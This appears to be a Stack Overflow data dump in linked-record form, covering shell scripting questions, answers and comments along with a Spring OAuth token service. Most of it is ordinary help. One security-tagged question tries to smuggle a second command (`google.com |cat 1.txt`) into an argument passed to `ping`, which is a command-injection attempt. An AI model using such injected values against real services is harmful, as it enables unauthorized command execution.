comment on: http://stackoverflow.com/a/76916640
has text: I mean, I called `fswatch --verbose "$monitored_paths"` like that.
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135683762
comment on: http://stackoverflow.com/q/76968047
type: QuestionComment
type: Comment
has text: Can you reproduce with a smaller file? E.g. with a file you create manually with a few `<wd:Report_Entry>` here and there?
score: 2

http://stackoverflow.com/a/77013900
upvote count: 2
has body: This generates what's expected : { output: to_entries | map(.key as $key|.value|map(.nn=.name|.name=$key)) | add | group_by(.nn) | map({(first|.nn) : from_entries}) }
downvote count: 0
answers question: http://stackoverflow.com/q/77012572
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/135768899

http://stackoverflow.com/a/77025269
downvote count: 0
score: 1
upvote count: 1
has body: That's my final solution: @Service @Slf4j @RequiredArgsConstructor public class TokenService { private OAuth2User currentUser; @Getter @Setter @ToString public static class OAuth2AccessTokenResponse { @JsonProperty(OAuth2ParameterNames.ACCESS_TOKEN) private String accessToken; @JsonProperty(OAuth2ParameterNames.EXPIRES_IN) private String expiresIn; @JsonProperty("refresh_expires_in") private String refreshExpiresIn; @JsonProperty(OAuth2ParameterNames.REFRESH_TOKEN) private String refreshToken; @JsonProperty(OAuth2ParameterNames.TOKEN_TYPE) private String tokenType; @JsonProperty("not-before-policy") private String notBeforePolicy; @JsonProperty("session_state") private String sessionState; @JsonProperty(OAuth2ParameterNames.SCOPE) private String scope; } @Data @Builder @RequiredArgsConstructor public static class OAuth2User { private final Jwt accessToken; private final OAuth2AccessTokenResponse response; public String getRefreshToken() { return response.refreshToken; } } private final OAuth2ClientProperties tokenServiceProperties; private final RestTemplate simpleRestTemplate = new RestTemplateBuilder().build();; protected OAuth2User resposeToUser(OAuth2AccessTokenResponse response) { var jwtDecoder = JwtDecoders .fromIssuerLocation(tokenServiceProperties.getProvider().get("keycloak").getIssuerUri()); Jwt accessToken = jwtDecoder.decode(response.getAccessToken()); return OAuth2User.builder().accessToken(accessToken).response(response).build(); } public OAuth2User authenticateUser(String username, String password) { log.info("Try to login user {}", username); var token = sendUserAuthenticationRequest(username, password); log.debug("User {} successfully log in {}", username, token); currentUser = token; return currentUser; } OAuth2User sendUserAuthenticationRequest(String username, String password) { MultiValueMap<String, String> map = new LinkedMultiValueMap<>(); map.add("grant_type", "password"); map.add("client_id", tokenServiceProperties.getRegistration().get("ke…
type: Answer
accepted answer of: http://stackoverflow.com/q/77009944
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77009944

http://stackoverflow.com/comment/135835642
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77046185
type: QuestionComment
has text: Had this exact issue when clients were using Filezilla to transfer files via ftp to a watched folder. Some ftp clients 'chunk' the data transfer and basically close the file between chinks, which triggers the watcher process.

http://stackoverflow.com/comment/135616593
comment on: http://stackoverflow.com/a/76906862
type: Comment
type: AnswerComment
score: 0
has text: @azLe Since this question is still listed as "unanswered", can you please show a [mre] of how my suggestion makes the script freeze?

http://stackoverflow.com/comment/135586920
has text: [Shellcheck](https://www.shellcheck.net/) identifies several problems with the code. The report includes links to more information about the problems and how to fix them. It's a good idea to run [Shellcheck](https://www.shellcheck.net/) on all new and modified shell code.
type: QuestionComment
comment on: http://stackoverflow.com/q/76910801
type: Comment
score: 3

http://stackoverflow.com/comment/136306908
has text: Your optstring discards all errors and requires an argument for `-q`, which I don't think you want. Perhaps you're running `-q -d` in which case `d` is an argument to `-q`? What happens when you remove the leading and trailing colons, changing it to `getopts h:s:d:q opt`?
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76905287
type: Comment

http://stackoverflow.com/comment/135595550
type: AnswerComment
has text: ok, that's even simpler, I've update the answer with the `| @sh` removed
comment on: http://stackoverflow.com/a/76916586
score: 0
type: Comment

http://stackoverflow.com/comment/135607809
score: 1
type: QuestionComment
type: Comment
has text: Does [this](https://stackoverflow.com/questions/1729824/an-efficient-way-to-transpose-a-file-in-bash) answer your question?
comment on: http://stackoverflow.com/q/76924061

http://stackoverflow.com/q/76993753
has comment: http://stackoverflow.com/comment/135729773
downvote count: 1
score: -1
has answer: http://stackoverflow.com/a/76994179
has comment: http://stackoverflow.com/comment/135729760
type: Question
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135730546
has comment: http://stackoverflow.com/comment/135756288
has title: get number of lines outputted by ls when output is to tty (not to pipe/file)
tagged with: zsh
has comment: http://stackoverflow.com/comment/135730569
tagged with: shell
has body: In a zsh function I want to get the number of lines that the output of ls has (when formatted in a table in the terminal). ls | wc -l obviously does not work, as the output of ls is different when piped, so this would just count the number of files.
answer count: 1
favorite count: 0

http://stackoverflow.com/q/76909230
answer count: 0
tagged with: linux
tagged with: security
has body: I'm trying to bypass arg to execute multiple commands with $addr in a shell script,but not worked. #1.sh arg='google.com |cat 1.txt' echo ${arg} addr="`echo ${arg}| sed 's|[\]||g' | sed 's|%20| |g'`" echo ${addr} addr="ping -c 1 "$addr echo ${addr} $addr ./1.sh google.com |cat 1.txt google.com |cat 1.txt ping -c 1 google.com |cat 1.txt ping: 1.txt: Name or service not known In bash, It worked. ping google.com|cat 1.txt import java.lang.Runtime; import java.lang.Process; ...... when arg='google.com -p 1', it worked. arg='google.com -p 1' echo ${arg} addr="`echo ${arg}| sed 's|[\]||g' | sed 's|%20| |g'`" echo ${addr} addr="ping -c 1 "$addr echo ${addr} $addr # ./1.sh google.com -p 1 google.com -p 1 ping -c 1 google.com -p 1 PATTERN: 0x01 PING google.com(tsa01s13-in-x0e.1e100.net (2404:6800:4012:4::200e)) 56 data bytes I think the problem is addr="ping -c 1 "$addr, What does "string"$arg exactly did, how to escape "string"$arg to excute command?
linked to: http://stackoverflow.com/q/3469705
has comment: http://stackoverflow.com/comment/135582578
score: 0
type: Question
tagged with: shell
duplicate of: http://stackoverflow.com/q/3469705
type: UnansweredQuestion
has title: how to escape "string"$arg?
has comment: http://stackoverflow.com/comment/135582603
has comment: http://stackoverflow.com/comment/135582650

http://stackoverflow.com/q/76936679
tagged with: readline
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135632222
answer count: 1
has comment: http://stackoverflow.com/comment/135632234
has comment: http://stackoverflow.com/comment/135636430
tagged with: libreadline
score: 0
has comment: http://stackoverflow.com/comment/135629933
has comment: http://stackoverflow.com/comment/135631055
tagged with: shell
tagged with: http://stackoverflow.com/tag/c
has answer: http://stackoverflow.com/a/76944424
linked to: http://stackoverflow.com/q/16828378
linked to: http://stackoverflow.com/q/53165704
has title: Double prompt when handling signals with readline function in C
type: Question
has body: I am trying to write a minimal implementation of a shell for a school project. To write such an implementation I use the readline function and I have to handle SIGINT so that I display a new prompt on a new line when it occurs within the program life (which could be at two key moments that are just after the user input has been read (beginning of the while loop) or after the line has been executed (end of the loop). First a minimal reproducible example of my problem (with some prints for me to better understand what happens. I left the comments explaining what I tried and will explain them right after the chunk of code you need to see to understand. #include <signal.h> #include <sys/wait.h> #include <stdio.h> #include <readline/readline.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdlib.h> #define RED "\e[0;31m" #define GRN "\e[0;32m" #define CRESET "\e[0m" volatile sig_atomic_t g_termsig; extern char **environ; int event_hook(void) { return (0); } int init_sig(void (*handler)(int, siginfo_t *, void *), const int signum) { struct sigaction sa; bzero(&sa, sizeof sa); sa.sa_flags = SA_SIGINFO; sa.sa_sigaction = handler; //if (sigemptyset(&sa.sa_mask) || sigaddset(&sa.sa_mask, signum)) // return (1); return (sigaction(signum, &sa, NULL)); } _Noreturn void exit_message(const char *message, const int status) { const char *color; color = RED; if (! status) color = GRN; fprintf(stderr, "%s%s%s\n", color, message, CRESET); exit(status); } void interrupt_handler(int sig, siginfo_t *info, void *ucontext) { (void)info; (void)ucontext; g_termsig = 128 + sig; rl_done = 1; /* if (! rl_done) ioctl(0, TCSTI, "\n"); */ //fprintf(stdout, "\nThis is readline_buffer : %s\n", rl_line_buffer); } void restore_display(void) { fprintf(stdout, "Here is yo signal : %d\n", g_termsig); g_termsig = 0; /* fprintf(stdout, "In function : %s\nThis is readline_buffer : %s\n", \ __func__, rl_line_buffer); */ // rl_replace_line("", 0); //fprintf(stdout, "This is the new line buffer : %s\n",…

http://stackoverflow.com/comment/135794381
type: QuestionComment
comment on: http://stackoverflow.com/q/77029606
type: Comment
score: 1
has text: What does `npx` expect the data stream to be? Is it just reading `stdin`? Is it a script?, executable? If it reads `stdin` a heredoc is fine, but an `expect` script may also be what you are looking for.

http://stackoverflow.com/comment/135595235
score: 0
has text: It seems "Philippe" is right. `fswatch` inform `start_monitor: Adding path: '/Users/First Folder'`. The single quotes shouldn't be there since the single quotes aren't part of the path.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76916586

http://stackoverflow.com/a/77049312
score: 0
answers question: http://stackoverflow.com/q/77045684
has body: Or use python #! /usr/bin/env python3 import csv import sys for row in csv.reader(sys.stdin): print(row[1])
type: Answer

http://stackoverflow.com/q/77050349
type: Question
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/77051934
answer count: 3
upvote count: 1
score: -1
has answer: http://stackoverflow.com/a/77161110
downvote count: 2
tagged with: bash
linked to: http://stackoverflow.com/q/673055
has body: I have a file name stored in the $FILE variable in a shell script, for example: $FILE = application-231241223.tar There can be different .tar file names stored there. One thing they all have in common is that there is a number before the .tar I need to store this number, regardless of its length, in the $PROCESS_NUMBER variable The file name can also be application-2412-test-12312333.tar or application-2412-test12312333.tar The only thing I need to store is the numbers before the .tar until the occurrence of a character other than a number. The length of the number can also be different. Can anyone advise me how to do this I tried this and it didn't work export PROCESS_NUMBER=$(echo "$FILE" | sed 's/.*\([0-9]\+\)\.tar/\1') export PROCESS_NUMBER=$(echo "$FILE" | sed 's/.*([0-9]+)\.tar/\1/g') export PROCESS_NUMBER=$(echo "$FILE" | sed 's/[^0-9]*\([0-9]\+\).*/\1/') export PROCESS_NUMBER=$(echo "$FILE" | sed 's/.*-\([0-9]\{1,\}\)\.tar/\1/')
favorite count: 0
has title: How to get numbers from a string in a shell script
has comment: http://stackoverflow.com/comment/135834183
has answer: http://stackoverflow.com/a/77051584
tagged with: unix
has comment: http://stackoverflow.com/comment/135834161
has comment: http://stackoverflow.com/comment/135834205

http://stackoverflow.com/comment/135574613
type: AnswerComment
comment on: http://stackoverflow.com/a/76904366
score: 0
has text: @lyricallywicked Yes, the error messages you're getting are because the file names are too long for the `stat` command and It's probably not a problem with the `find` command itself, this happens when the file names exceed the maximum length allowed by your operating system,so to fix it, you can try shortening the file names or moving them to a directory with a shorter path!
type: Comment

http://stackoverflow.com/comment/135560798
type: QuestionComment
score: 2
has text: That seems like a silly thing to be doing **around** a Python program in shell script; write it in Python and build it into the program.
type: Comment
comment on: http://stackoverflow.com/q/76896765

http://stackoverflow.com/comment/135591410
type: Comment
score: 0
has text: Did you try `a[NR-1]=$3` instead of `a[NR]=$0`?
comment on: http://stackoverflow.com/q/76913085
type: QuestionComment

http://stackoverflow.com/comment/135613770
comment on: http://stackoverflow.com/q/76927566
score: 1
type: QuestionComment
has text: I would use a tool like Miller for that; you just give it the order that you want in the output: `mlr --csv reorder -f 'A,B,C,D' file.csv`
type: Comment

http://stackoverflow.com/comment/135664533
type: Comment
comment on: http://stackoverflow.com/q/76951169
score: 0
has text: You should specify what's in `content` as there might be edge cases
type: QuestionComment

http://stackoverflow.com/comment/135813976
type: Comment
score: 0
has text: BTW, think about `declare -A svn_files=( ); while read -r mod_char filename; do svn_files[$filename]=$mod_char; done < <(svn st)` -- then you can iterate over `for file in "${!svn_files[@]}"` to get the names, and look up `${svn_files[$file]}` to get the mod_char value back for any given name. It won't work right for names with leading or trailing spaces, but it's a messy situation if you _have_ any of those in the first place.
comment on: http://stackoverflow.com/q/77041015
type: QuestionComment

http://stackoverflow.com/comment/135842843
has text: I don't know what "to add it to a directory" means. You can copy the file to the directory using the command `cp`, and you can create a link to the file in the directory using the command `ln`. Intuitively I would say that creating a link reflects the idea of "addign" better than copying.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77055267
score: 0

http://stackoverflow.com/a/76904366
has comment: http://stackoverflow.com/comment/135574503
has comment: http://stackoverflow.com/comment/135574613
upvote count: 4
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/76903882
has body: I think you can do it like this find path/to/directory -type f -exec stat -c "%s|%n" {} \; -exec stat -c "%s|%n" {} \; executes the stat command for each file found and %s represents the file size in bytes, and %n represents the file name, the | character is used as a separator between the size and the path! you can also try this: find path/to/directory -maxdepth 3 -type f -exec sh -c 'size=$(stat -c "%s" "$1"); echo "$size|$1"' sh {} \; > path/to/output.txt
score: 4

http://stackoverflow.com/comment/135719843
type: AnswerComment
has text: @PetarTahchiev are you sure the comments shown in your question remain in the output, including the start/end marker lines? the curl output does not include them
comment on: http://stackoverflow.com/a/76987964
score: 0
type: Comment

http://stackoverflow.com/a/76916640
has comment: http://stackoverflow.com/comment/135595669
has comment: http://stackoverflow.com/comment/135595769
has comment: http://stackoverflow.com/comment/135595775
score: 1
has comment: http://stackoverflow.com/comment/135595591
has comment: http://stackoverflow.com/comment/135601280
upvote count: 1
has comment: http://stackoverflow.com/comment/135595691
type: Answer
has comment: http://stackoverflow.com/comment/135595707
downvote count: 0
answers question: http://stackoverflow.com/q/76916410
has body: in shell syntax from shebang of your example #!/bin/zsh typeset -a monitored_paths jq -r '.paths[]' config.json | while read -r p; do monitored_paths+="$p"; done fswatch --verbose $monitored_paths

http://stackoverflow.com/comment/135811385
type: AnswerComment
score: 0
has text: Or Perl @CharlesDuffy
comment on: http://stackoverflow.com/a/77039367
type: Comment

http://stackoverflow.com/comment/135559028
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76893303
has text: If I understand you correctly, comm requires sorted files. This is not useful for me, but might be to others, so perhaps you should post it as an answer? @CharlesDuffy

http://stackoverflow.com/q/77024360
has comment: http://stackoverflow.com/comment/135784676
accepted answer: http://stackoverflow.com/a/77025220
has comment: http://stackoverflow.com/comment/135786131
type: Question
answer count: 1
tagged with: unix
tagged with: command-line
score: 0
has comment: http://stackoverflow.com/comment/135785123
tagged with: arrays
tagged with: shell
has title: Instantiating unique bash instances with their own PID from a single parent array
tagged with: bash
has body: I was given a command "ChanDataStream_Sim" (on a linux box) that I need to run against 40 channels simultaneously. The command once executed runs indefinitely until someone manually kills the PID. Moreover the command will halt if interrupted or the session ended. A new dedicated PuTTy session would need to be launched for each channel we want to test. What I would like to do is instantiate an instance of the command with EACH iteration of channel in my array. Essentially if I list 30 channels in my array, I'd like to see 30 instances (with their own PID) of the command line running. I want to avoid having the engineer open 40 PuTTy sessions just to run the thing or having to craft 40 tiny scripts if at all possible. Desired outcome: PID User 1112 ChanDataStream_Sim+ <--- For Channel 3002 1113 ChanDataStream_Sim+ <--- For Channel 1001 1114 ChanDataStream_Sim+ <--- For Channel 4003 1115 ChanDataStream_Sim+ <--- For any additional channels in the array Here's what I wrote so far. #bash #!/bin/bash # all the channels to simulate data flow against. channels=(3002 1001 4003) # how fast the simulated data should hit the channel priority=(IDLE REALTIME HIGH) # selecting one of the 225 daemons available for the process to run against objserv=(83 82 81) length=${#channels[@]} for (( i=0; i<$length; i++ )) do # running the command with the requisite channel variables ChanDataStream_Sim ${channels[$i]} -d -p ${priority[$i]} -s ${objserv[$i]} done Any clues would be greatly appreciated.
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/77025220

http://stackoverflow.com/comment/135545922
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76887171
has text: For starters, `bash` has a `function` and `arrays` , so don't make it too [complex](https://mywiki.wooledge.org/BashFAQ/050) Also there is a reason why you [DRLWF](https://mywiki.wooledge.org/DontReadLinesWithFor)
score: 0

http://stackoverflow.com/q/77037291
score: 2
has comment: http://stackoverflow.com/comment/135807205
has answer: http://stackoverflow.com/a/77037389
answer count: 2
tagged with: linux
has comment: http://stackoverflow.com/comment/135807188
downvote count: 0
tagged with: bash
favorite count: 0
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/2764051
has answer: http://stackoverflow.com/a/77037388
has body: I am working with some bash script and would need your help :) The result that I want: V04.01, V04.02 - one string, no new lines, unique values, commas. Only name prefixes (all before __), only for sql files. The original diff command and its results: git diff --name-only 123132132213 origin/dev gives: .abc.yml abc/test.xml aaa/V04.01__SampleInsert.sql bbb/V04.01__SampleInsert.sql abc/efg/V04.02__SampleUpdate.sql The result that I want: V04.01, V04.02 My script which is not working: git diff --name-only 12313123123132 origin/dev | grep '.sql' | rev | cut -d"/" -f1 | rev | awk '{sub(/__.*/,x)}1' The result is: V04.01 V04.01 V04.02 Thanks in advance if anyone has some idea how to do that inline.
has title: Bash: Converting string with new lines to string with unique values with commas, inline
upvote count: 2
accepted answer: http://stackoverflow.com/a/77037388
linked to: http://stackoverflow.com/q/673055
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135807102
possible better answer: http://stackoverflow.com/a/77037389
has comment: http://stackoverflow.com/comment/135807644

http://stackoverflow.com/comment/135822394
type: QuestionComment
has text: The output isn't *incorrect*, it's just not you *wanted* - `cut` is not a CSV parser, and knows nothing about "quoted fields", it just splits on the delimiter you give it. So your real question is "what's the easiest way to parse CSV on the command-line?" Which would then be a very broad recommendation question, and considered off-topic as described in the [help].
type: Comment
score: 4
comment on: http://stackoverflow.com/q/77045684

http://stackoverflow.com/comment/135580794
type: AnswerComment
score: 0
has text: The script freezes like this. I need to run command1 and command2 in a while loop, so perhaps it does not work with ```wait```?
comment on: http://stackoverflow.com/a/76906862
type: Comment

http://stackoverflow.com/comment/135717245
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76986443
has text: See: [The Stack Overflow Regular Expressions FAQ](https://stackoverflow.com/a/22944075/3776858)

http://stackoverflow.com/comment/135586922
score: 1
type: QuestionComment
has text: @mohdshariq There are some rules and recommendations about how to write questions and format code blocks. Those help readability and answering. Would you have a look and eventually adjust your question accordingly? https://stackoverflow.com/help/how-to-ask The main things to be changed in your post are (please no all capitals) and format your code block.
comment on: http://stackoverflow.com/q/76910801
type: Comment

http://stackoverflow.com/a/76922723
accepted answer of: http://stackoverflow.com/q/76922651
downvote count: 0
score: 3
type: Answer
has comment: http://stackoverflow.com/comment/135605164
has comment: http://stackoverflow.com/comment/135605054
type: AcceptedAnswer
upvote count: 3
answers question: http://stackoverflow.com/q/76922651
has body: To pad with one 0 only: for f in [0-9]-*.mp3; do mv "$f" "0$f"; done In case there could be no files matching the [0-9]-*.mp3 pattern it is probably better to also use the nullglob option (in a subshell just to automatically restore the nullglob status afterwards): ( shopt -s nullglob; for f in [0-9]-*.mp3; do mv "$f" "0$f"; done ) If you want the leading number on n digits instead of just 2, say 3: ( n=3 shopt -s extglob nullglob for f in +([0-9])-*.mp3; do printf -v g '%0*d-%s' "$n" "${f%%-*}" "${f#*-}" mv "$f" "$g" done ) Finally, if you do not know the value of n, want to automatically compute it, and assuming it must be the maximum number of leading digits in these file names: ( shopt -s extglob nullglob n=0 for f in +([0-9])-*.mp3; do g="${f%%-*}" (( n = "${#g}" > n ? "${#g}" : n )) done for f in +([0-9])-*.mp3; do printf -v g '%0*d-%s' "$n" "${f%%-*}" "${f#*-}" mv "$f" "$g" done )

http://stackoverflow.com/comment/135632544
has text: Do you just need to ask for a password or do you also need to elevate the rights?
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76937067

ksqldb
type: Tag
tag name: ksqldb
tags question: http://stackoverflow.com/q/77041956

http://stackoverflow.com/comment/135815643
has text: What is the point in using `xargs`? `f` holds a single word, and a plain `xargs` without parameters just does an `echo`. Hence you are doing an `echo` of a single word. Then you pipe the single word into `cut` and take the first field, which is of course that single word again. You could have written equally well `sign=$f`.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77041015
type: QuestionComment

http://stackoverflow.com/a/77009159
has body: Assumptions: if there is no match for @some_pattern_to_match@ then leave as is Adding a non-match entry to testfile1.txt (see next to last line): $ cat testfile1.txt ## START :: start of file ## path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ # path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ # path.mw.site.broker.profiles=@mysite.NO_MATCH@ ## END :: end of file ## Another awk idea: awk ' FNR==NR { if ( n=index($0,&quot;=&quot;) ) # 1st file: if line includes a &quot;=&quot; then ... a[ substr($0,1,n-1) ] = substr($0,n+1) # split and save as array index and value next } # 2nd file: split on &quot;@&quot; and if we get 3 fields and the 2nd field is an index in array a[] then rewrite current line split($0,x,&quot;@&quot;)==3 &amp;&amp; x[2] in a { $0 = x[1] a[x[2]] } 1 # 2nd file: print current line ' testfile2.txt testfile1.txt This generates: ## START :: start of file ## path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ # path.mw.site.profiles=/mw/mysite/cfg/DATA1/ # path.mw.site.broker.profiles=/usr/local/mw/mysite/cfg/DATA2/=/mydirectory/ # path.mw.site.broker.profiles=@mysite.NO_MATCH@ ## END :: end of file ##
downvote count: 0
score: 1
type: Answer
answers question: http://stackoverflow.com/q/77006285
upvote count: 1

http://stackoverflow.com/comment/135805857
has text: Place your script on https://www.shellcheck.net/# to check for common bash mistakes
type: QuestionComment
score: 2
type: Comment
comment on: http://stackoverflow.com/q/77036497

http://stackoverflow.com/a/76917470
downvote count: 0
answers question: http://stackoverflow.com/q/76913434
type: Answer
has body: There's no such concept as 'null' in shell scripts. You're comparing the returned string to the literal 4-character string null, which will (probably) always be false. You want to compare against an actual empty string if "$JIRA_DESCRIPTION" == "" or alternately use the -z test for a zero-length string if -z "$JIRA_DESCRIPTION"
score: 1
upvote count: 1

http://stackoverflow.com/comment/135593460
type: QuestionComment
comment on: http://stackoverflow.com/q/76915647
type: Comment
score: 0
has text: @SherifAbdel-Naby Please [edit] your question to add the background information

http://stackoverflow.com/comment/135769411
type: Comment
has text: Does this answer your question? [multi-line variable in tcsh](https://stackoverflow.com/questions/7305742/multi-line-variable-in-tcsh)
comment on: http://stackoverflow.com/q/77015974
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135810616
score: 0
type: QuestionComment
type: Comment
has text: Tried following so far cat ./target/surefire-reports/testng-results.xml | egrep -e "testng-results" | awk -F '=' '{ print "shell_var1="$3 "\n" "shell_var2="$4 }' | sed 's/[^0-9]*/ /g';
comment on: http://stackoverflow.com/q/77039334

http://stackoverflow.com/a/77038661
has body: Assuming there are no tabs in your input, you could do it like this: &lt;infile paste - - | sort -t $'\t' -k2,2V | tr '\t' '\n' Output: description of file http://linktofile/11.txt description of file http://linktofile/22.doc description of file http://linktofile/33.txt
has comment: http://stackoverflow.com/comment/135821739
upvote count: 2
has comment: http://stackoverflow.com/comment/135821277
has comment: http://stackoverflow.com/comment/135830976
downvote count: 0
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/135821629
answers question: http://stackoverflow.com/q/77038582

http://stackoverflow.com/comment/135810321
score: 1
comment on: http://stackoverflow.com/q/77038582
has text: You should use different descriptions in the example to show they must be sorted with the links. A custom sort_by is somewhat awkward in basic shell tools, do you have `jq` available? e.g. `jq -R -n -rs '[inputs | capture("(? .*\nhttp.*/(?<num>\\d+).*)"; "g")] | sort_by(.num | tonumber)[].link'`
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/135593451
has text: @TedLyngmo The actual use case runs on minified alpine container images that only have `sh` and `ash`.
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76915647

http://stackoverflow.com/comment/135557296
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76893700
has text: And don't put `*`s inside code blocks; they make the code no longer valid syntax, and they don't do bolding or other highlighting or formatting as you seem to intend.

http://stackoverflow.com/a/76951409
has body: try this : script{ result=sh(script:''' currentYear = `date +"%Y"` echo $currentYear ''',returnStdout:true).trim() } or try this in your code: script { sh '''#!/bin/bash -x currentYear = `date +"%Y"` echo $currentYear ''' }
score: 0
answers question: http://stackoverflow.com/q/76947111
type: Answer

http://stackoverflow.com/a/77001262
answers question: http://stackoverflow.com/q/76993432
score: 0
type: Answer
has body: Thanks to John above I was able to fix this issue. Mailx was reading the - before the email addresses as a user name on the server and trying to send to -@server.example.com. I have removed the - and tested a few different jobs and I no longer receive the error emails.

http://stackoverflow.com/comment/135702194
type: QuestionComment
type: Comment
score: 0
has text: Is this part of an XML file?
comment on: http://stackoverflow.com/q/76978039

vscode-devcontainer
tag name: vscode-devcontainer
tags question: http://stackoverflow.com/q/77022904
type: Tag
tags question: http://stackoverflow.com/q/79233564

http://stackoverflow.com/comment/135902923
comment on: http://stackoverflow.com/q/76907867
type: QuestionComment
type: Comment
score: 0
has text: I have encontered an existing [bug in `terminator`, issue 739: terminator -x <command> does not work...](https://github.com/gnome-terminator/terminator/issues/739). This fail prevents a tab that runs a script from remaining _open_. I did some checking, such a scrpt runs and then the tab closes. One can perform an operation. It can't currently be used to _set-up_ a terminal session, _`autoexec`_ like. Back in the day Digital Research DOS happily initialised on only `8-bits`. With 64-bits, it seems _not-so-much_.

http://stackoverflow.com/comment/135792629
type: Comment
type: AnswerComment
has text: There a slight problem; if the variables are defined but not exported then `jq` won't be able to access them.
comment on: http://stackoverflow.com/a/77027644
score: 0

http://stackoverflow.com/a/76939930
downvote count: 1
has comment: http://stackoverflow.com/comment/135634946
has body: a="${a:+$a\n}$(echo "string1")" a="${a:+$a\n}$(echo "string2")" echo $a It has features you can add and delete any strings and there won't have a new line before the first string.
upvote count: 0
answers question: http://stackoverflow.com/q/76939782
type: Answer
has comment: http://stackoverflow.com/comment/135635020
score: -1

http://stackoverflow.com/a/76967721
type: Answer
answers question: http://stackoverflow.com/q/76967654
has body: You don't really need to perform mathematical operations on your input argument. By doing this: alias latestn 'cd `ls -dt1 -- */ | tail -n+\!:1 | head -1`' The command latestn 1 will go to the newest directory (1st most recent), latestn 2 will go to the 2nd most recent directory, etc. This is because tail -n+x is retrieving lines starting from line x, and head -1 is getting the first one: hence, chaining both is equivalent to getting the xth line.
downvote count: 0
upvote count: 1
score: 1

cut
tag name: cut
tags question: http://stackoverflow.com/q/77045684
type: Tag

http://stackoverflow.com/comment/135572893
has text: @AndrejPodzimek, you are right - both machines share a network-based filesystem. It is not clear why case1 and case2 give different results and how to force data sync immediately, not waiting for 10+ seconds. Do you have any ideas?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76898164

http://stackoverflow.com/comment/135735325
has text: You have a lone `-` on the command line. Many utilities, when receiving that where they expect a file name, will read from the standard input. But `mailx` already reads from the standard input, and it expects an *address* there, not a file name. An address without an `@` is interpreted as a local username, which is why `mailx` attempts to send to `-@node.server.name.com`. Just remove that bare `-`.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76993432

http://stackoverflow.com/q/76952315
has comment: http://stackoverflow.com/comment/135657234
favorite count: 0
tagged with: sed
has title: shell script while loop with sed command
upvote count: 2
answer count: 2
downvote count: 0
type: Question
has answer: http://stackoverflow.com/a/76952634
has answer: http://stackoverflow.com/a/76952426
tagged with: while-loop
score: 2
tagged with: shell
tagged with: linux
has body: I have 2 files, want to create a new file based on the 2 files(testfile1 and 2).By reading the first file line by line from testfile1.txt and based on string matched between special char @ and its value from testfile2.txt. More detail below. testfile1.txt ## START :: start of file ## path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ # path.mw.site.profiles=@mysite.mw_path@ # path.mw.site.broker.profiles=@mysite.mw_brkr_path@ ## END :: end of file # testfile2.txt mysite.mw_path=/mw/mysite/cfg/DATA1/ mysite.mw_brkr_path=/usr/local/mw/mysite/cfg/DATA2/ testfile3.txt ( testfile 1 and 3 are same) test_script.sh #!/bin/bash while IFS= read -r line; do pattern1=$(echo "$line" | awk -F@ '{print $2}') if [ -n "$pattern1" ]; then pattern2=$(grep "$pattern1" $2 | awk -F"=" '{ print $2 }') sed "s|$pattern1|$pattern2|g" testfile3.txt > output_21aug.txt fi done < "$1" testfile1 and testfile3 are same. ri@my_server ~]$ ./test_script.sh testfile1.txt testfile2.txt ri@my_server ~]$ cat output_21aug.txt ## START :: start of file ## path.mw.site.profiles=@myaccount.mw_path@ # path.mw.site.broker.profiles=@/usr/local/mw/mysite/cfg/DATA2/@ # path.mw.site.profiles=@myaccount.mw_path@ # path.mw.site.broker.profiles=@/usr/local/mw/mysite/cfg/DATA2/@ ## END :: end of file ## I'm getting the above output, I'm expecting the output like below ## START :: start of file ## path.mw.site.profiles=@/mw/mysite/cfg/DATA1/@ # path.mw.site.broker.profiles=@/usr/local/mw/mysite/cfg/DATA2/@ # path.mw.site.profiles=@/mw/mysite/cfg/DATA1/@ # path.mw.site.broker.profiles=@/usr/local/mw/mysite/cfg/DATA2/@ ## END :: end of file ## Please help me fixing my script. Thanks in advance.
has comment: http://stackoverflow.com/comment/135657193
type: UnansweredQuestion

http://stackoverflow.com/comment/135642390
type: QuestionComment
comment on: http://stackoverflow.com/q/76944076
type: Comment
has text: setting a shell option is effective in the current instance and its subshells only; but as you said, there's no real use-case for setting `noglob`, at least in bash.
score: 0

http://stackoverflow.com/comment/135703635
type: Comment
type: QuestionComment
has text: Where did you get the idea that `wait` has a timeout argument? The arguments are just a list of PIDs.
score: 0
comment on: http://stackoverflow.com/q/76978545

http://stackoverflow.com/comment/135835897
comment on: http://stackoverflow.com/a/77052639
type: Comment
type: AnswerComment
has text: (another reference re: `SHELL`, perhaps more canonical: https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html#tag_08_03)
score: 0

